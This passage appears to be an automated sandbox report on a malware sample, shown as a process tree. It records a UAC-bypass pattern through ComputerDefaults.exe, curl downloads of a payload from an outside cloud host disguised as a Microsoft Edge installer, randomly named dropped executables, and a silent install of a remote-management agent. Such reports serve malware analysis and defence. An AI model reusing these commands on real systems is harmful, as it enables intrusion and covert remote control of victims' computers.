                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX13\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:8044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX13\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX13\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX13\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX13\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX13\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.7996.468.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.7996.468.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\gJrjlkHoYBUimChtqyGGreBcPciydJnC.JDn\gprqWkidbfRduoVGRPcWBYXPXcqLWnFu.Kms.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "gprqWkidbfRduoVGRPcWBYXPXcqLWnFu.Kms.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\PpelrUegNeuxscjYZDiaXTGAasnyoRHl.Hvx\oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\PpelrUegNeuxscjYZDiaXTGAasnyoRHl.Hvx\oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\PpelrUegNeuxscjYZDiaXTGAasnyoRHl.Hvx\oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\PpelrUegNeuxscjYZDiaXTGAasnyoRHl.Hvx\oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "oiDgQdPxyXvaGkHkyukbNsXfKtRPVwKm.PEd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX15\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX15\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX15\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX15\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX15\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX15\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.7996.468.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\yHu.pmn\LlsJFQxOOXYV.QFk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\yHu.pmn\LlsJFQxOOXYV.QFk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\yHu.pmn\LqXMsNJSqyaw.FPX
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\yHu.pmn\LqXMsNJSqyaw.FPX
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 302C4528C44A7785561E8E35470D2792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  net session
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 session
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1644
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "FZFVTIIO\Admin":(OI)(CI)F /T /Q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
